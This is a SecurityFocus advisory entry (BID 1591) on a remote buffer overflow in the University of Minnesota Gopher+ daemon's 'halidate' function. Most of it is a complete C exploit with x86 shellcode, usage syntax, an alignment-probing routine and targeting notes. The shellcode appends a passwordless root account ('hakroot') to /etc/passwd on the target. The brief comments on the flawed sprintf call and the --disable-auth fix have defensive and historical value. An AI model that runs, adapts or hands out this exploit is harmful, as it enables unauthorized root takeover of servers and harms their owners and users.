source: http://www.securityfocus.com/bid/1591/info It is possible to either execute arbitrary code or crash a remote system running University of Minnesota's Gopher Daemon, depending on the data entered. An unchecked buffer exists in the 'halidate' function of Gopherd, where the 512 byte buffer can be overwritten with approximately 600 bytes of data. /* (linux)Gopher+[v2.3.1p0-]: Daemon remote buffer overflow. Findings and exploit by: v9[[email protected]]. (vade79) It is possible to exploit an unchecked sprintf call in the "halidate" option in gopherd.c. This exploit will attempt to write a line to /etc/passwd. (as a superuser) The gopher+ daemon has multiple overflows in different functions, but most overwrite the pointer(s) with hardcoded data from the program which are limited. But, the "halidate" option/call was a little hidden suprise for me. When the exploit is sucessfully executed it adds the line: "hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd, with no 0x0A return, which could cause some problems in some situations. You may have to wait till someone on the box modifies their /etc/passwd by adding a user or what not. Syntax: [syntax]: ./xgopher <target> [port] [offset] [alignment]. [syntax]: ./xgopher <target> <[port] [-getalignment]>. Explaination: If you don't know what the alignment of the server is, (which isn't expected *g*) just type "./xgopher hostname [port] -getalignment" and with aligment you're given type "./xgopher hostname <port> <offset> <alignment response you are given>". Info: The following segment is from gopherd.c [line 1076/3453]: ("pathname" in the code segment is supplied by the user) -------------------------------------------------------------------------------- void OutputAuthForm(int sockfd, char *pathname, char *host, int port, CMDprotocol p) { char tmpbuf[512]; ... sprintf(tmpbuf, "<FORM METHOD=\"GET\" ACTION=\"http://%s:%d/halidate%%20%s\">\r\n", host, port, pathname); ... } -------------------------------------------------------------------------------- Notes: This exploit requires that the service is running as root(to write to /etc/passwd). Even if the gopher+ daemon displays itself running as another user, as long as it's process is running as root(uid=0) it should exploit successfully. Do to the servers local host+port character lengths changing the alignment will almost never be the same, I recommend using the -getalignment parameter. You can play as much as you want on this, the process is forked and won't crash the gopher+ daemon with invalid pointers. This was also tested effective on the 2.3 version of the gopher+ daemon. Although this exploit is for linux servers, gopher+ isn't just built for linux, it is also supported for BSD, Solaris, SunOS, HP-UX and other operation systems. Fix: Compile with "./configure --disable-auth" (isn't disabled by default) and then recompile gopher or wait for a patch. Tests: Built and tested on slackware 3.6 and slackware 7.0 linux. (with lots of junk added to my /etc/passwd *g*) */ #define BSIZE 512 // buffer size. (tmpbuf[512] minus server data) #define PADDING 150 // ret reps. (host+port length guessing room) #define POINTER 0xbffff65c // base pointer in which offsets are added. #define DEFAULT_PORT 70 // default gopher+ daemon port. #define DEFAULT_OFFSET 0 // default offset. (argument is added) #define DEFAULT_ALIGN 0 // alignment. (depends on host+port length) #define TIMEOUT 5 // connection timeout time. #include <signal.h> #include <netinet/in.h> #include <netdb.h> static char exec[]= // appends "hakroot::0:0:hacked:/:/bin/sh" to /etc/passwd. "\xeb\x03\x5f\xeb\x05\xe8\xf8\xff\xff\xff\x31\xdb\xb3\x35\x01\xfb\x30\xe4\x88" "\x63\x0b\x31\xc9\x66\xb9\x01\x04\x31\xd2\x66\xba\xa4\x01\x31\xc0\xb0\x05\xcd" "\x80\x89\xc3\x31\xc9\xb1\x5b\x01\xf9\x31\xd2\xb2\x1d\x31\xc0\xb0\x04\xcd\x80" "\x31\xc0\xb0\x01\xcd\x80\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x01\x90" "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x90\x68\x61\x6b\x72\x6f\x6f\x74\x3a\x3a\x30\x3a\x30\x3a" "\x68\x61\x63\x6b\x65\x64\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68"; void timeout(){printf("[timeout]: Connection timeout(%d).\n",TIMEOUT);quit(-1);} int main(int argc,char **argv){ char bof[BSIZE]; int i,sock,port,offset,align,ga=0; long ret=DEFAULT_OFFSET; struct hostent *t; struct sockaddr_in s; printf("*** (linux)Gopherd+[v2.3.1p0-]: Remote buffer overflow, by: v9[v9@fake" "halo.org].\n"); if(argc<2){ printf("[syntax]: %s <target> [port] [offset] [alignment].\n",argv[0]); printf("[syntax]: %s <target> <[port] [-getalignment]>.\n",argv[0]); quit(0); } if(argc>2){ if(!strcmp(argv[2],"-getalignment")){ga=1;port=DEFAULT_PORT;} else{port=atoi(argv[2]);} } else{port=DEFAULT_PORT;} if(argc>3){ if(!strcmp(argv[3],"-getalignment")){ga=1;} else{offset=atoi(argv[3]);} } else{offset=DEFAULT_OFFSET;} if(argc>4){ if(atoi(argv[4])<0||atoi(argv[4])>3){ printf("[ignored]: Invalid alignment, using default alignment. (0-3)\n"); align=DEFAULT_ALIGN; } else{align=atoi(argv[4]);} } else{align=DEFAULT_ALIGN;} if(ga){getalignment(argv[1],port);} else{ ret=(POINTER+offset); printf("[stats]: Addr: 0x%lx, Offset: %d, Align: %d, Size: %d, Padding: %d.\n" ,ret,offset,align,BSIZE,PADDING); for(i=align;i<BSIZE;i+=4){*(long *)&bof[i]=ret;} for(i=0;i<(BSIZE-strlen(exec)-PADDING);i++){*(bof+i)=0x90;} memcpy(bof+i,exec,strlen(exec)); memcpy(bof,"halidate ",9); bof[BSIZE]='\0'; if(s.sin_addr.s_addr=inet_addr(argv[1])){ if(!(t=gethostbyname(argv[1]))){ printf("[error]: Couldn't resolve. (%s)\n",argv[1]); quit(-1); } memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr)); } s.sin_family=AF_INET; s.sin_port=htons(port); sock=socket(AF_INET,SOCK_STREAM,0); signal(SIGALRM,timeout); printf("[data]: Attempting to connect to %s on port %d.\n",argv[1],port); alarm(TIMEOUT); if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){ printf("[error]: Connection failed. (port=%d)\n",port); quit(-1); } alarm(0); printf("[data]: Connected successfully. (port=%d)\n",port); printf("[data]: Sending buffer(%d) to server.\n",strlen(bof)); write(sock,bof,strlen(bof)); usleep(500000); printf("[data]: Closing socket.\n"); close(sock); } quit(0); } int getalignment(char *target,int port){ char buf[1024]; int i,j,si,sock,math; struct hostent *t; struct sockaddr_in s; if(s.sin_addr.s_addr=inet_addr(target)){ if(!(t=gethostbyname(target))){ printf("[error]: Couldn't resolve. (%s)\n",target); quit(-1); } memcpy((char*)&s.sin_addr,(char*)t->h_addr,sizeof(s.sin_addr)); } s.sin_family=AF_INET; s.sin_port=htons(port); sock=socket(AF_INET,SOCK_STREAM,0); signal(SIGALRM,timeout); printf("[data]: Attempting to connect to %s on port %d.\n",target,port); alarm(TIMEOUT); if(connect(sock,(struct sockaddr_in*)&s,sizeof(s))){ printf("[error]: Connection failed. (port=%d)\n",port); quit(-1); } alarm(0); printf("[data]: Connected successfully. (port=%d)\n",port); alarm(TIMEOUT); write(sock,"halidate \n",10); for(i=0;i<2;i++){if(!read(sock,buf,1024)){si++;}} i=0;while(buf[i]&&!(buf[i]==0x4E)){i++;} j=0;while(buf[j]&&!(buf[j]==0x25)){j++;} usleep(500000); printf("[data]: Closing socket.\n"); close(sock); if(!si||i>=j||strlen(buf)<64){ printf("[error]: Too minimal or invalid data recieved to calculate. (try agai" "n?)\n"); quit(-1); } else{ math=(i-j-2); while(math<0){math+=4;} printf("[data]: Alignment calculation: %d.\n",math); } } int quit(int i){ if(i){ printf("[exit]: Dirty exit.\n"); exit(0); } else{ printf("[exit]: Clean exit.\n"); exit(-1); } }